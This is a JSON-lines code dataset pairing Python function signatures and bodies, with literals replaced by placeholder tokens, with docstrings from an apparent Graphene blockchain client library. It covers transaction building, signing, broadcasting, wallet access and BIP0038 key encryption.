{"signature": "def decrypt(self, message):", "body": "if not message:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>memo_wif = self.blockchain.wallet.getPrivateKeyForPublicKey(message[\"<STR_LIT:to>\"])<EOL>pubkey = message[\"<STR_LIT>\"]<EOL><DEDENT>except KeyNotFound:<EOL><INDENT>try:<EOL><INDENT>memo_wif = self.blockchain.wallet.getPrivateKeyForPublicKey(<EOL>message[\"<STR_LIT>\"]<EOL>)<EOL>pubkey = message[\"<STR_LIT:to>\"]<EOL><DEDENT>except KeyNotFound:<EOL><INDENT>raise MissingKeyError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format([message[\"<STR_LIT:to>\"], message[\"<STR_LIT>\"]])<EOL>)<EOL><DEDENT><DEDENT>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.chain_prefix = self.blockchain.prefix<EOL><DEDENT>return memo.decode_memo(<EOL>self.privatekey_class(memo_wif),<EOL>self.publickey_class(pubkey, prefix=self.chain_prefix),<EOL>message.get(\"<STR_LIT>\"),<EOL>message.get(\"<STR_LIT:message>\"),<EOL>)<EOL>", "docstring": "Decrypt a message\n\n            :param dict message: encrypted memo message\n            :returns: decrypted message\n            :rtype: str", "id": "f8250:c0:m3"}
{"signature": "def connect(self, node=\"<STR_LIT>\", rpcuser=\"<STR_LIT>\", rpcpassword=\"<STR_LIT>\", **kwargs):", "body": "if not node:<EOL><INDENT>if \"<STR_LIT>\" in self.config:<EOL><INDENT>node = self.config[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if not rpcuser and \"<STR_LIT>\" in self.config:<EOL><INDENT>rpcuser = self.config[\"<STR_LIT>\"]<EOL><DEDENT>if not rpcpassword and \"<STR_LIT>\" in self.config:<EOL><INDENT>rpcpassword = self.config[\"<STR_LIT>\"]<EOL><DEDENT>self.rpc = self.rpc_class(node, rpcuser, rpcpassword, **kwargs)<EOL>", "docstring": "Connect to blockchain network (internal use only)", "id": "f8253:c0:m2"}
{"signature": "@property<EOL><INDENT>def prefix(self):<DEDENT>", "body": "return self.rpc.chain_params[\"<STR_LIT>\"]<EOL>", "docstring": "Contains the prefix of the blockchain", "id": "f8253:c0:m4"}
{"signature": "def set_blocking(self, block=True):", "body": "self.blocking = block<EOL>", "docstring": "This sets a flag that forces the broadcast to block until the\n            transactions made it into a block", "id": "f8253:c0:m5"}
{"signature": "def info(self):", "body": "return self.rpc.get_dynamic_global_properties()<EOL>", "docstring": "Returns the global properties", "id": "f8253:c0:m6"}
{"signature": "def set_default_account(self, account):", "body": "self.account_class(account)<EOL>self.config[\"<STR_LIT>\"] = account<EOL>", "docstring": "Set the default account to be used", "id": "f8253:c0:m7"}
{"signature": "def new_wallet(self, pwd):", "body": "return self.wallet.create(pwd)<EOL>", "docstring": "Create a new wallet. This method is basically only calls\n            :func:`wallet.Wallet.create`.\n\n            :param str pwd: Password to use for the new wallet\n            :raises exceptions.WalletExists: if there is already a\n                wallet created", "id": "f8253:c0:m9"}
{"signature": "def unlock(self, *args, **kwargs):", "body": "return self.wallet.unlock(*args, **kwargs)<EOL>", "docstring": "Unlock the internal wallet", "id": "f8253:c0:m10"}
{"signature": "def set_shared_instance(self):", "body": "<EOL>log.warning(<EOL>DeprecationWarning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>)<EOL>", "docstring": "This method allows to set the current instance as default", "id": "f8253:c0:m11"}
{"signature": "def finalizeOp(self, ops, account, permission, **kwargs):", "body": "if \"<STR_LIT>\" in kwargs and kwargs[\"<STR_LIT>\"]:<EOL><INDENT>if self.proposer:<EOL><INDENT>log.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>append_to = kwargs[\"<STR_LIT>\"]<EOL>parent = append_to.get_parent()<EOL>assert isinstance(<EOL>append_to, (self.transactionbuilder_class, self.proposalbuilder_class)<EOL>)<EOL>append_to.appendOps(ops)<EOL>if isinstance(append_to, self.proposalbuilder_class):<EOL><INDENT>parent.appendSigner(append_to.proposer, permission)<EOL><DEDENT>else:<EOL><INDENT>parent.appendSigner(account, permission)<EOL><DEDENT>return append_to.get_parent()<EOL><DEDENT>elif self.proposer:<EOL><INDENT>proposal = self.proposal()<EOL>proposal.set_proposer(self.proposer)<EOL>proposal.set_expiration(self.proposal_expiration)<EOL>proposal.set_review(self.proposal_review)<EOL>proposal.appendOps(ops)<EOL><DEDENT>else:<EOL><INDENT>self.txbuffer.appendOps(ops)<EOL><DEDENT>if \"<STR_LIT>\" in kwargs and kwargs[\"<STR_LIT>\"]:<EOL><INDENT>self.txbuffer.set_fee_asset(kwargs[\"<STR_LIT>\"])<EOL><DEDENT>if self.unsigned:<EOL><INDENT>self.txbuffer.addSigningInformation(account, permission)<EOL>return self.txbuffer<EOL><DEDENT>elif self.bundle:<EOL><INDENT>self.txbuffer.appendSigner(account, permission)<EOL>return self.txbuffer.json()<EOL><DEDENT>else:<EOL><INDENT>self.txbuffer.appendSigner(account, permission)<EOL>self.txbuffer.sign()<EOL>return self.txbuffer.broadcast()<EOL><DEDENT>", "docstring": "This method obtains the required private keys if present in\n            the wallet, finalizes the transaction, signs it and\n            broadacasts it\n\n            :param operation ops: The operation (or list of operaions) to\n                broadcast\n            :param operation account: The account that authorizes the\n                operation\n            :param string permission: The required permission for\n                signing (active, owner, posting)\n            :param object append_to: This allows to provide an instance of\n                ProposalsBuilder (see :func:`new_proposal`) or\n                TransactionBuilder (see :func:`new_tx()`) to specify\n                where to put a specific operation.\n\n            ... note:: ``append_to`` is exposed to every method used in the\n                this class\n\n            ... note::\n\n                If ``ops`` is a list of operation, they all need to be\n                signable by the same key! Thus, you cannot combine ops\n                that require active permission with ops that require\n                posting permission. Neither can you use different\n                accounts for different operations!\n\n            ... note:: This uses ``txbuffer`` as instance of\n                :class:`transactionbuilder.TransactionBuilder`.\n                You may want to use your own txbuffer", "id": "f8253:c0:m12"}
{"signature": "def sign(self, tx=None, wifs=[]):", "body": "if tx:<EOL><INDENT>txbuffer = self.transactionbuilder_class(tx, blockchain_instance=self)<EOL><DEDENT>else:<EOL><INDENT>txbuffer = self.txbuffer<EOL><DEDENT>txbuffer.appendWif(wifs)<EOL>txbuffer.appendMissingSignatures()<EOL>txbuffer.sign()<EOL>return txbuffer.json()<EOL>", "docstring": "Sign a provided transaction witht he provided key(s)\n\n            :param dict tx: The transaction to be signed and returned\n            :param string wifs: One or many wif keys to use for signing\n                a transaction. If not present, the keys will be loaded\n                from the wallet as defined in \"missing_signatures\" key\n                of the transactions.", "id": "f8253:c0:m13"}
{"signature": "def broadcast(self, tx=None):", "body": "if tx:<EOL><INDENT>return self.transactionbuilder_class(<EOL>tx, blockchain_instance=self<EOL>).broadcast()<EOL><DEDENT>else:<EOL><INDENT>return self.txbuffer.broadcast()<EOL><DEDENT>", "docstring": "Broadcast a transaction to the Blockchain\n\n            :param tx tx: Signed transaction to broadcast", "id": "f8253:c0:m14"}
{"signature": "@property<EOL><INDENT>def txbuffer(self):<DEDENT>", "body": "return self.tx()<EOL>", "docstring": "Returns the currently active tx buffer", "id": "f8253:c0:m15"}
{"signature": "@property<EOL><INDENT>def propbuffer(self):<DEDENT>", "body": "return self.proposal()<EOL>", "docstring": "Return the default proposal buffer", "id": "f8253:c0:m16"}
{"signature": "def tx(self):", "body": "return self._txbuffers[<NUM_LIT:0>]<EOL>", "docstring": "Returns the default transaction buffer", "id": "f8253:c0:m17"}
{"signature": "def proposal(self, proposer=None, proposal_expiration=None, proposal_review=None):", "body": "if not self._propbuffer:<EOL><INDENT>return self.new_proposal(<EOL>self.tx(), proposer, proposal_expiration, proposal_review<EOL>)<EOL><DEDENT>if proposer:<EOL><INDENT>self._propbuffer[<NUM_LIT:0>].set_proposer(proposer)<EOL><DEDENT>if proposal_expiration:<EOL><INDENT>self._propbuffer[<NUM_LIT:0>].set_expiration(proposal_expiration)<EOL><DEDENT>if proposal_review:<EOL><INDENT>self._propbuffer[<NUM_LIT:0>].set_review(proposal_review)<EOL><DEDENT>return self._propbuffer[<NUM_LIT:0>]<EOL>", "docstring": "Return the default proposal buffer\n\n            ... note:: If any parameter is set, the default proposal\n               parameters will be changed!", "id": "f8253:c0:m18"}
{"signature": "def new_tx(self, *args, **kwargs):", "body": "builder = self.transactionbuilder_class(<EOL>*args, blockchain_instance=self, **kwargs<EOL>)<EOL>self._txbuffers.append(builder)<EOL>return builder<EOL>", "docstring": "Let's obtain a new txbuffer\n\n            :returns int txid: id of the new txbuffer", "id": "f8253:c0:m20"}
{"signature": "def clear_cache(self):", "body": "self.blockchainobject_class.clear_cache()<EOL>", "docstring": "Clear Caches", "id": "f8253:c0:m22"}
{"signature": "def appendOps(self, ops, append_to=None):", "body": "if isinstance(ops, list):<EOL><INDENT>self.ops.extend(ops)<EOL><DEDENT>else:<EOL><INDENT>self.ops.append(ops)<EOL><DEDENT>parent = self.parent<EOL>if parent:<EOL><INDENT>parent._set_require_reconstruction()<EOL><DEDENT>", "docstring": "Append op(s) to the transaction builder\n\n            :param list ops: One or a list of operations", "id": "f8254:c0:m6"}
{"signature": "def get_parent(self):", "body": "return self.parent<EOL>", "docstring": "This allows to referr to the actual parent of the Proposal", "id": "f8254:c0:m9"}
{"signature": "def json(self):", "body": "raw = self.get_raw()<EOL>if not raw:<EOL><INDENT>return dict()<EOL><DEDENT>return raw.json()<EOL>", "docstring": "Return the json formated version of this proposal", "id": "f8254:c0:m11"}
{"signature": "def get_raw(self):", "body": "if not self.ops:<EOL><INDENT>return<EOL><DEDENT>ops = [self.operations.Op_wrapper(op=o) for o in list(self.ops)]<EOL>proposer = self.account_class(<EOL>self.proposer, blockchain_instance=self.blockchain<EOL>)<EOL>data = {<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": <NUM_LIT:0>, \"<STR_LIT>\": \"<STR_LIT>\"},<EOL>\"<STR_LIT>\": proposer[\"<STR_LIT:id>\"],<EOL>\"<STR_LIT>\": formatTimeFromNow(self.proposal_expiration),<EOL>\"<STR_LIT>\": [o.json() for o in ops],<EOL>\"<STR_LIT>\": [],<EOL>}<EOL>if self.proposal_review:<EOL><INDENT>data.update({\"<STR_LIT>\": self.proposal_review})<EOL><DEDENT>ops = self.operations.Proposal_create(**data)<EOL>return self.operation_class(ops)<EOL>", "docstring": "Returns an instance of base \"Operations\" for further processing", "id": "f8254:c0:m13"}
{"signature": "def get_parent(self):", "body": "return self<EOL>", "docstring": "TransactionBuilders don't have parents, they are their own parent", "id": "f8254:c1:m12"}
{"signature": "def json(self):", "body": "if not self._is_constructed() or self._is_require_reconstruction():<EOL><INDENT>self.constructTx()<EOL><DEDENT>return dict(self)<EOL>", "docstring": "Show the transaction as plain json", "id": "f8254:c1:m13"}
{"signature": "def appendOps(self, ops, append_to=None):", "body": "if isinstance(ops, list):<EOL><INDENT>self.ops.extend(ops)<EOL><DEDENT>else:<EOL><INDENT>self.ops.append(ops)<EOL><DEDENT>self._set_require_reconstruction()<EOL>", "docstring": "Append op(s) to the transaction builder\n\n            :param list ops: One or a list of operations", "id": "f8254:c1:m14"}
{"signature": "def appendSigner(self, accounts, permission):", "body": "assert permission in self.permission_types, \"<STR_LIT>\"<EOL>if self.blockchain.wallet.locked():<EOL><INDENT>raise WalletLocked()<EOL><DEDENT>if not isinstance(accounts, (list, tuple, set)):<EOL><INDENT>accounts = [accounts]<EOL><DEDENT>for account in accounts:<EOL><INDENT>if account not in self.signing_accounts:<EOL><INDENT>if isinstance(account, self.publickey_class):<EOL><INDENT>self.appendWif(<EOL>self.blockchain.wallet.getPrivateKeyForPublicKey(str(account))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>accountObj = self.account_class(<EOL>account, blockchain_instance=self.blockchain<EOL>)<EOL>required_treshold = accountObj[permission][\"<STR_LIT>\"]<EOL>keys = self._fetchkeys(<EOL>accountObj, permission, required_treshold=required_treshold<EOL>)<EOL>if not keys and permission != \"<STR_LIT>\":<EOL><INDENT>keys.extend(<EOL>self._fetchkeys(<EOL>accountObj, \"<STR_LIT>\", required_treshold=required_treshold<EOL>)<EOL>)<EOL><DEDENT>for x in keys:<EOL><INDENT>self.appendWif(x[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>self.signing_accounts.append(account)<EOL><DEDENT><DEDENT>", "docstring": "Try to obtain the wif key from the wallet by telling which account\n            and permission is supposed to sign the transaction", "id": "f8254:c1:m16"}
{"signature": "def appendWif(self, wif):", "body": "if wif:<EOL><INDENT>try:<EOL><INDENT>self.privatekey_class(wif)<EOL>self.wifs.add(wif)<EOL><DEDENT>except Exception:<EOL><INDENT>raise InvalidWifError<EOL><DEDENT><DEDENT>", "docstring": "Add a wif that should be used for signing of the transaction.", "id": "f8254:c1:m17"}
{"signature": "def set_fee_asset(self, fee_asset):", "body": "if isinstance(fee_asset, self.amount_class):<EOL><INDENT>self.fee_asset_id = fee_asset[\"<STR_LIT:id>\"]<EOL><DEDENT>elif isinstance(fee_asset, self.asset_class):<EOL><INDENT>self.fee_asset_id = fee_asset[\"<STR_LIT:id>\"]<EOL><DEDENT>elif fee_asset:<EOL><INDENT>self.fee_asset_id = fee_asset<EOL><DEDENT>else:<EOL><INDENT>self.fee_asset_id = \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Set asset to fee", "id": "f8254:c1:m18"}
{"signature": "def add_required_fees(self, ops, asset_id=\"<STR_LIT>\"):", "body": "ws = self.blockchain.rpc<EOL>fees = ws.get_required_fees([i.json() for i in ops], asset_id)<EOL>for i, d in enumerate(ops):<EOL><INDENT>if isinstance(fees[i], list):<EOL><INDENT>ops[i].op.data[\"<STR_LIT>\"] = Asset(<EOL>amount=fees[i][<NUM_LIT:0>][\"<STR_LIT>\"], asset_id=fees[i][<NUM_LIT:0>][\"<STR_LIT>\"]<EOL>)<EOL>for j, _ in enumerate(ops[i].op.data[\"<STR_LIT>\"].data):<EOL><INDENT>ops[i].op.data[\"<STR_LIT>\"].data[j].data[\"<STR_LIT>\"].op.data[<EOL>\"<STR_LIT>\"<EOL>] = Asset(<EOL>amount=fees[i][<NUM_LIT:1>][j][\"<STR_LIT>\"],<EOL>asset_id=fees[i][<NUM_LIT:1>][j][\"<STR_LIT>\"],<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ops[i].op.data[\"<STR_LIT>\"] = Asset(<EOL>amount=fees[i][\"<STR_LIT>\"], asset_id=fees[i][\"<STR_LIT>\"]<EOL>)<EOL><DEDENT><DEDENT>return ops<EOL>", "docstring": "Auxiliary method to obtain the required fees for a set of\n            operations. Requires a websocket connection to a witness node!", "id": "f8254:c1:m19"}
{"signature": "def constructTx(self):", "body": "ops = list()<EOL>for op in self.ops:<EOL><INDENT>if isinstance(op, ProposalBuilder):<EOL><INDENT>proposal = op.get_raw()<EOL>if proposal:<EOL><INDENT>ops.append(proposal)<EOL><DEDENT><DEDENT>elif isinstance(op, self.operation_class):<EOL><INDENT>ops.extend([op])<EOL><DEDENT>else:<EOL><INDENT>ops.extend([self.operation_class(op)])<EOL><DEDENT><DEDENT>ops = self.add_required_fees(ops, asset_id=self.fee_asset_id)<EOL>expiration = formatTimeFromNow(<EOL>self.expiration<EOL>or self.blockchain.expiration<EOL>or <NUM_LIT:30>  <EOL>)<EOL>ref_block_num, ref_block_prefix = self.get_block_params()<EOL>self.tx = self.signed_transaction_class(<EOL>ref_block_num=ref_block_num,<EOL>ref_block_prefix=ref_block_prefix,<EOL>expiration=expiration,<EOL>operations=ops,<EOL>)<EOL>dict.update(self, self.tx.json())<EOL>self._unset_require_reconstruction()<EOL>", "docstring": "Construct the actual transaction and store it in the class's dict\n            store", "id": "f8254:c1:m20"}
{"signature": "def get_block_params(self):", "body": "ws = self.blockchain.rpc<EOL>dynBCParams = ws.get_dynamic_global_properties()<EOL>ref_block_num = dynBCParams[\"<STR_LIT>\"] & <NUM_LIT><EOL>ref_block_prefix = struct.unpack_from(<EOL>\"<STR_LIT>\", unhexlify(dynBCParams[\"<STR_LIT>\"]), <NUM_LIT:4><EOL>)[<NUM_LIT:0>]<EOL>return ref_block_num, ref_block_prefix<EOL>", "docstring": "Auxiliary method to obtain ``ref_block_num`` and\n            ``ref_block_prefix``. Requires a websocket connection to a\n            witness node!", "id": "f8254:c1:m21"}
{"signature": "def sign(self):", "body": "self.constructTx()<EOL>if \"<STR_LIT>\" not in self or not self[\"<STR_LIT>\"]:<EOL><INDENT>return<EOL><DEDENT>if self.blockchain.proposer:<EOL><INDENT>proposer = self.account_class(<EOL>self.blockchain.proposer, blockchain_instance=self.blockchain<EOL>)<EOL>self.wifs = set()<EOL>self.signing_accounts = list()<EOL>self.appendSigner(proposer[\"<STR_LIT:id>\"], \"<STR_LIT>\")<EOL><DEDENT>if self.blockchain.rpc:<EOL><INDENT>self.operations.default_prefix = self.blockchain.rpc.chain_params[\"<STR_LIT>\"]<EOL><DEDENT>elif \"<STR_LIT>\" in self:<EOL><INDENT>self.operations.default_prefix = self[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL><DEDENT>try:<EOL><INDENT>signedtx = self.signed_transaction_class(**self.json())<EOL><DEDENT>except Exception:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not any(self.wifs):<EOL><INDENT>raise MissingKeyError<EOL><DEDENT>signedtx.sign(self.wifs, chain=self.blockchain.rpc.chain_params)<EOL>self[\"<STR_LIT>\"].extend(signedtx.json().get(\"<STR_LIT>\"))<EOL>return signedtx<EOL>", "docstring": "Sign a provided transaction with the provided key(s)\n\n            :param dict tx: The transaction to be signed and returned\n            :param string wifs: One or many wif keys to use for signing\n                a transaction. If not present, the keys will be loaded\n                from the wallet as defined in \"missing_signatures\" key\n                of the transactions.", "id": "f8254:c1:m22"}
{"signature": "def verify_authority(self):", "body": "try:<EOL><INDENT>if not self.blockchain.rpc.verify_authority(self.json()):<EOL><INDENT>raise InsufficientAuthorityError<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>raise e<EOL><DEDENT>", "docstring": "Verify the authority of the signed transaction", "id": "f8254:c1:m23"}
{"signature": "def broadcast(self):", "body": "<EOL>if not self._is_signed():<EOL><INDENT>self.sign()<EOL><DEDENT>if \"<STR_LIT>\" not in self or not self[\"<STR_LIT>\"]:<EOL><INDENT>log.warning(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>ret = self.json()<EOL>if self.blockchain.nobroadcast:<EOL><INDENT>log.warning(\"<STR_LIT>\")<EOL>self.clear()<EOL>return ret<EOL><DEDENT>try:<EOL><INDENT>if self.blockchain.blocking:<EOL><INDENT>ret = self.blockchain.rpc.broadcast_transaction_synchronous(<EOL>ret, api=\"<STR_LIT>\"<EOL>)<EOL>ret.update(**ret.get(\"<STR_LIT>\", {}))<EOL><DEDENT>else:<EOL><INDENT>self.blockchain.rpc.broadcast_transaction(ret, api=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>raise e<EOL><DEDENT>finally:<EOL><INDENT>self.clear()<EOL><DEDENT>return ret<EOL>", "docstring": "Broadcast a transaction to the blockchain network\n\n            :param tx tx: Signed transaction to broadcast", "id": "f8254:c1:m24"}
{"signature": "def clear(self):", "body": "self.ops = []<EOL>self.wifs = set()<EOL>self.signing_accounts = []<EOL>self[\"<STR_LIT>\"] = None<EOL>dict.__init__(self, {})<EOL>", "docstring": "Clear the transaction builder and start from scratch", "id": "f8254:c1:m25"}
{"signature": "def addSigningInformation(self, account, permission):", "body": "self.constructTx()<EOL>self[\"<STR_LIT>\"] = self.blockchain.rpc.chain_params<EOL>if isinstance(account, self.publickey_class):<EOL><INDENT>self[\"<STR_LIT>\"] = [str(account)]<EOL><DEDENT>else:<EOL><INDENT>accountObj = self.account_class(account)<EOL>authority = accountObj[permission]<EOL>self.update({\"<STR_LIT>\": {accountObj[\"<STR_LIT:name>\"]: authority}})<EOL>for account_auth in authority[\"<STR_LIT>\"]:<EOL><INDENT>account_auth_account = self.account_class(account_auth[<NUM_LIT:0>])<EOL>self[\"<STR_LIT>\"].update(<EOL>{account_auth[<NUM_LIT:0>]: account_auth_account.get(permission)}<EOL>)<EOL><DEDENT>self[\"<STR_LIT>\"] = [x[<NUM_LIT:0>] for x in authority[\"<STR_LIT>\"]]<EOL>for account_auth in authority[\"<STR_LIT>\"]:<EOL><INDENT>account_auth_account = self.account_class(account_auth[<NUM_LIT:0>])<EOL>self[\"<STR_LIT>\"].extend(<EOL>[x[<NUM_LIT:0>] for x in account_auth_account[permission][\"<STR_LIT>\"]]<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "This is a private method that adds side information to a\n            unsigned/partial transaction in order to simplify later\n            signing (e.g. for multisig or coldstorage)\n\n            FIXME: Does not work with owner keys!", "id": "f8254:c1:m26"}
{"signature": "def appendMissingSignatures(self):", "body": "missing_signatures = self.get(\"<STR_LIT>\", [])<EOL>for pub in missing_signatures:<EOL><INDENT>wif = self.blockchain.wallet.getPrivateKeyForPublicKey(pub)<EOL>if wif:<EOL><INDENT>self.appendWif(wif)<EOL><DEDENT><DEDENT>", "docstring": "Store which accounts/keys are supposed to sign the transaction\n\n            This method is used for an offline-signer!", "id": "f8254:c1:m27"}
{"signature": "def getOperationNameForId(self, i):", "body": "for key in self.ops:<EOL><INDENT>if int(self.ops[key]) is int(i):<EOL><INDENT>return key<EOL><DEDENT><DEDENT>raise ValueError(\"<STR_LIT>\" % i)<EOL>", "docstring": "Convert an operation id into the corresponding string", "id": "f8259:c0:m18"}
{"signature": "@property<EOL><INDENT>def data(self):  <DEDENT>", "body": "return self<EOL>", "docstring": "Read data explicitly (backwards compatibility)", "id": "f8259:c1:m4"}
{"signature": "@data.setter<EOL><INDENT>def data(self, data):  <DEDENT>", "body": "self.update(data)<EOL>", "docstring": "Set data through a setter (backwards compatibility)", "id": "f8259:c1:m5"}
{"signature": "def getBlockParams(ws):", "body": "dynBCParams = ws.get_dynamic_global_properties()<EOL>ref_block_num = dynBCParams[\"<STR_LIT>\"] & <NUM_LIT><EOL>ref_block_prefix = struct.unpack_from(<EOL>\"<STR_LIT>\", unhexlify(dynBCParams[\"<STR_LIT>\"]), <NUM_LIT:4><EOL>)[<NUM_LIT:0>]<EOL>return ref_block_num, ref_block_prefix<EOL>", "docstring": "Auxiliary method to obtain ``ref_block_num`` and\n        ``ref_block_prefix``. Requires a websocket connection to a\n        witness node!", "id": "f8261:m0"}
{"signature": "def formatTimeFromNow(secs=<NUM_LIT:0>):", "body": "return datetime.utcfromtimestamp(time.time() + int(secs)).strftime(timeformat)<EOL>", "docstring": "Properly Format Time that is `x` seconds in the future\n\n     :param int secs: Seconds to go in the future (`x>0`) or the past (`x<0`)\n     :return: Properly formated time for Graphene (`%Y-%m-%dT%H:%M:%S`)\n     :rtype: str", "id": "f8261:m1"}
{"signature": "def _encrypt_xor(a, b, aes):", "body": "a = unhexlify(\"<STR_LIT>\" % (int((a), <NUM_LIT:16>) ^ int(hexlify(b), <NUM_LIT:16>)))<EOL>return aes.encrypt(a)<EOL>", "docstring": "Returns encrypt(a ^ b).", "id": "f8262:m0"}
{"signature": "def encrypt(privkey, passphrase):", "body": "if isinstance(privkey, str):<EOL><INDENT>privkey = PrivateKey(privkey)<EOL><DEDENT>else:<EOL><INDENT>privkey = PrivateKey(repr(privkey))<EOL><DEDENT>privkeyhex = repr(privkey)  <EOL>addr = format(privkey.bitcoin.address, \"<STR_LIT>\")<EOL>a = _bytes(addr)<EOL>salt = hashlib.sha256(hashlib.sha256(a).digest()).digest()[<NUM_LIT:0>:<NUM_LIT:4>]<EOL>if SCRYPT_MODULE == \"<STR_LIT>\":  <EOL><INDENT>key = scrypt.hash(passphrase, salt, <NUM_LIT>, <NUM_LIT:8>, <NUM_LIT:8>)<EOL><DEDENT>elif SCRYPT_MODULE == \"<STR_LIT>\":  <EOL><INDENT>key = scrypt.scrypt(bytes(passphrase, \"<STR_LIT:utf-8>\"), salt, <NUM_LIT>, <NUM_LIT:8>, <NUM_LIT:8>)<EOL><DEDENT>else:  <EOL><INDENT>raise ValueError(\"<STR_LIT>\")  <EOL><DEDENT>(derived_half1, derived_half2) = (key[:<NUM_LIT:32>], key[<NUM_LIT:32>:])<EOL>aes = AES.new(derived_half2, AES.MODE_ECB)<EOL>encrypted_half1 = _encrypt_xor(privkeyhex[:<NUM_LIT:32>], derived_half1[:<NUM_LIT:16>], aes)<EOL>encrypted_half2 = _encrypt_xor(privkeyhex[<NUM_LIT:32>:], derived_half1[<NUM_LIT:16>:], aes)<EOL>\"<STR_LIT>\"<EOL>payload = b\"<STR_LIT>\" + b\"<STR_LIT>\" + b\"<STR_LIT>\" + salt + encrypted_half1 + encrypted_half2<EOL>\"<STR_LIT>\"<EOL>checksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[:<NUM_LIT:4>]<EOL>privatkey = hexlify(payload + checksum).decode(\"<STR_LIT:ascii>\")<EOL>return Base58(privatkey)<EOL>", "docstring": "BIP0038 non-ec-multiply encryption. Returns BIP0038 encrypted privkey.\n\n    :param privkey: Private key\n    :type privkey: Base58\n    :param str passphrase: UTF-8 encoded passphrase for encryption\n    :return: BIP0038 non-ec-multiply encrypted wif key\n    :rtype: Base58", "id": "f8262:m1"}
{"signature": "def decrypt(encrypted_privkey, passphrase):", "body": "d = unhexlify(base58decode(encrypted_privkey))<EOL>d = d[<NUM_LIT:2>:]  <EOL>flagbyte = d[<NUM_LIT:0>:<NUM_LIT:1>]  <EOL>d = d[<NUM_LIT:1>:]  <EOL>assert flagbyte == b\"<STR_LIT>\", \"<STR_LIT>\"<EOL>salt = d[<NUM_LIT:0>:<NUM_LIT:4>]<EOL>d = d[<NUM_LIT:4>:-<NUM_LIT:4>]<EOL>if SCRYPT_MODULE == \"<STR_LIT>\":  <EOL><INDENT>key = scrypt.hash(passphrase, salt, <NUM_LIT>, <NUM_LIT:8>, <NUM_LIT:8>)<EOL><DEDENT>elif SCRYPT_MODULE == \"<STR_LIT>\":  <EOL><INDENT>key = scrypt.scrypt(bytes(passphrase, \"<STR_LIT:utf-8>\"), salt, <NUM_LIT>, <NUM_LIT:8>, <NUM_LIT:8>)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")  <EOL><DEDENT>derivedhalf1 = key[<NUM_LIT:0>:<NUM_LIT:32>]<EOL>derivedhalf2 = key[<NUM_LIT:32>:<NUM_LIT:64>]<EOL>encryptedhalf1 = d[<NUM_LIT:0>:<NUM_LIT:16>]<EOL>encryptedhalf2 = d[<NUM_LIT:16>:<NUM_LIT:32>]<EOL>aes = AES.new(derivedhalf2, AES.MODE_ECB)<EOL>decryptedhalf2 = aes.decrypt(encryptedhalf2)<EOL>decryptedhalf1 = aes.decrypt(encryptedhalf1)<EOL>privraw = decryptedhalf1 + decryptedhalf2<EOL>privraw = \"<STR_LIT>\" % (int(hexlify(privraw), <NUM_LIT:16>) ^ int(hexlify(derivedhalf1), <NUM_LIT:16>))<EOL>wif = Base58(privraw)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>privkey = PrivateKey(format(wif, \"<STR_LIT>\"))<EOL>addr = format(privkey.bitcoin.address, \"<STR_LIT>\")<EOL>a = _bytes(addr)<EOL>saltverify = hashlib.sha256(hashlib.sha256(a).digest()).digest()[<NUM_LIT:0>:<NUM_LIT:4>]<EOL>if saltverify != salt:  <EOL><INDENT>raise SaltException(\"<STR_LIT>\")<EOL><DEDENT>return wif<EOL>", "docstring": "BIP0038 non-ec-multiply decryption. Returns WIF privkey.\n\n    :param Base58 encrypted_privkey: Private key\n    :param str passphrase: UTF-8 encoded passphrase for decryption\n    :return: BIP0038 non-ec-multiply decrypted key\n    :rtype: Base58\n    :raises SaltException: if checksum verification failed (e.g. wrong\n        password)", "id": "f8262:m2"}
{"signature": "def getOperationNameForId(i: int):", "body": "assert isinstance(i, (int)), \"<STR_LIT>\"<EOL>for key in operations:<EOL><INDENT>if int(operations[key]) is int(i):<EOL><INDENT>return key<EOL><DEDENT><DEDENT>raise ValueError(\"<STR_LIT>\" % i)<EOL>", "docstring": "Convert an operation id into the corresponding string", "id": "f8263:m0"}
{"signature": "def getOperationName(id: str):", "body": "if isinstance(id, str):<EOL><INDENT>assert id in operations.keys(), \"<STR_LIT>\".format(id)<EOL>return id<EOL><DEDENT>elif isinstance(id, int):<EOL><INDENT>return getOperationNameForId(id)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT>", "docstring": "This method returns the name representation of an operation given\n        its value as used in the API", "id": "f8263:m1"}
{"signature": "def varint(n):", "body": "data = b\"<STR_LIT>\"<EOL>while n >= <NUM_LIT>:<EOL><INDENT>data += bytes([(n & <NUM_LIT>) | <NUM_LIT>])<EOL>n >>= <NUM_LIT:7><EOL><DEDENT>data += bytes([n])<EOL>return data<EOL>", "docstring": "Varint encoding", "id": "f8264:m0"}
{"signature": "def varintdecode(data):  ", "body": "shift = <NUM_LIT:0><EOL>result = <NUM_LIT:0><EOL>for b in bytes(data):<EOL><INDENT>result |= (b & <NUM_LIT>) << shift<EOL>if not (b & <NUM_LIT>):<EOL><INDENT>break<EOL><DEDENT>shift += <NUM_LIT:7><EOL><DEDENT>return result<EOL>", "docstring": "Varint decoding", "id": "f8264:m1"}
{"signature": "def variable_buffer(s):", "body": "return varint(len(s)) + s<EOL>", "docstring": "Encode variable length buffer", "id": "f8264:m2"}
{"signature": "def JsonObj(data):", "body": "return json.loads(str(data))<EOL>", "docstring": "Returns json object from data", "id": "f8264:m3"}
